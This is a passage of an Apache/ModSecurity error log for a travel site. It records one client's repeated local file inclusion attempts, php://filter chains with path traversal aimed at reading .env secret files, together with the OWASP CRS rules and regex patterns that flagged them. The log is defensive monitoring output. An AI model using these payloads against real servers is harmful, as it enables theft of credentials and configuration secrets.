[Fri Jul 17 08:55:10.775693 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.775952 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllh1WDijTxd1xw5MJQAAAAc"]
[Fri Jul 17 08:55:10.777880 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOQAAAA0"]
[Fri Jul 17 08:55:10.779466 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOQAAAA0"]
[Fri Jul 17 08:55:10.779638 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.780073 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglivekYYQ8uns4MwlOQAAAA0"]
[Fri Jul 17 08:55:10.780488 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNAAAAAY"]
[Fri Jul 17 08:55:10.781835 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=LE75w53_MWMMdY32Sq5uZREMNw6iu4e_3CP6p07KO-P2tHcv4v6K8OOKFGkE14Zxk38iJjvSGOCN-BHEtYIYznQf4j6gYQHaxjh1PetCPv3dd-IANCUaBBkUwapGBcY8w76OyxvyRwaGexJCL9phlaEuGOSiSBIQlWZy7roeYJeAOup8iR-9g86CQeXIZ_SYpfv8m1HgOVpSZqT4ks5Y4L_OJCu3yr24a37fRnp3WBNBN58ZvyvApgG-LqPBoZFIr-0W9Jir6XB-Mn_fosLYU_ys&ref=FGFK6JHDAPPPHOSZ5ARCJROMSTOL6IAI3BXFOVDUMAEK52..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.781897 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.781957 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNAAAAAY"]
[Fri Jul 17 08:55:10.781993 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&sid=LE75w53_MWMMdY32Sq5uZREMNw6iu4e_3CP6p07KO-P2tHcv4v6K8OOKFGkE14Zxk38iJjvSGOCN-BHEtYIYznQf4j6gYQHaxjh1PetCPv3dd-IANCUaBBkUwapGBcY8w76OyxvyRwaGexJCL9phlaEuGOSiSBIQlWZy7roeYJeAOup8iR-9g86CQeXIZ_SYpfv8m1HgOVpSZqT4ks5Y4L_OJCu3yr24a37fRnp3WBNBN58ZvyvApgG-LqPBoZFIr-0W9Jir6XB-Mn_fosLYU_ys&ref=FGFK6JHDAPPPHOSZ5ARCJROMSTOL6IAI3BXFOVDUMAEK52EIY3RNYTVUGFXFGXLXDJXAP33522..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.782091 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&sid=le75w53_mwmmdy32sq5uzremnw6iu4e_3cp6p07ko-p2thcv4v6k8ookfgke14zxk38ijjvsgocn-bhetyiyznqf4j6gyqhaxjh1petcpv3dd-iancuabbkuwapgbcy8w76oyxvyrwagexjcl9phlaeugosisbiqlwzy7roeyjeaoup8ir-9g86cqexiz_sypfv8m1hgovpszqt4ks5y4l_ojcu3yr24a37frnp3wbnbn58zvyvapgg-lqpbozfir-0w9jir6xb-mn_foslyu_ys&ref=fgfk6jhdappphosz5arcjromstol6iai3bxfovdumaek52eiy3rnytvugfxfgxlxdjxap33522..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.782118 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.782157 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.782200 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.782470 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg5GPQ6hs4VrfMpBNAAAAAY"]
[Fri Jul 17 08:55:10.782680 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.783845 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.783971 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.787043 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=It4kRQuEWSpLwt8RAR3xIh-swCRvZ0XjOuHtWXhC1wE1S6j8lxNNRlTZ3woD1N7ZgNjDQRF8fkZ1Pb6ZvJWZE0ZFlc8Pz30AFAQ-V0Tocqrj1dX8Gltb4j6MWo8GwY9cOHM750O4S_SwJdVAfZ_-n2kwsaGH3G0NcHGabV1y8CqUy7nwzC1xyf0OlH25JbbmMVHkSTniXJUR8GEf28NAJBpaKfvZ_JSOB9Ld90mSKmqEFvr56Wk-T4a6r89H1tCycLVPEUqFJKsNb2GslHDmK_Us&cb=7FMM26NQQ3NEPUK57WPKHNKPT273POE7XRVJAKQFXRKCBHBY7BQ4GKA2YPSSHMQDF3D63X..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.787103 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.787151 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ts=It4kRQuEWSpLwt8RAR3xIh-swCRvZ0XjOuHtWXhC1wE1S6j8lxNNRlTZ3woD1N7ZgNjDQRF8fkZ1Pb6ZvJWZE0ZFlc8Pz30AFAQ-V0Tocqrj1dX8Gltb4j6MWo8GwY9cOHM750O4S_SwJdVAfZ_-n2kwsaGH3G0NcHGabV1y8CqUy7nwzC1xyf0OlH25JbbmMVHkSTniXJUR8GEf28NAJBpaKfvZ_JSOB9Ld90mSKmqEFvr56Wk-T4a6r89H1tCycLVPEUqFJKsNb2GslHDmK_Us&cb=7FMM26NQQ3NEPUK57WPKHNKPT273POE7XRVJAKQFXRKCBHBY7BQ4GKA2YPSSHMQDF3D63XAN625FJPKM2ZD52JVEXANBPJ2W..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.787190 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ts=it4krquewsplwt8rar3xih-swcrvz0xjouhtwxhc1we1s6j8lxnnrltz3wod1n7zgnjdqrf8fkz1pb6zvjwze0zflc8pz30afaq-v0tocqrj1dx8gltb4j6mwo8gwy9cohm750o4s_swjdvafz_-n2kwsagh3g0nchgabv1y8cquy7nwzc1xyf0olh25jbbmmvhkstnixjur8gef28najbpakfvz_jsob9ld90mskmqefvr56wk-t4a6r89h1tcyclvpeuqfjksnb2gslhdmk_us&cb=7fmm26nqq3nepuk57wpkhnkpt273poe7xrvjakqfxrkcbhby7bq4gka2ypsshmqdf3d63xan625fjpkm2zd52jvexanbpj2w..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.787212 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.787231 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.787576 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.788022 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PkgAAABk"]
[Fri Jul 17 08:55:10.788642 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.788778 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.789064 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95uAAAAAw"]
[Fri Jul 17 08:55:10.791242 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 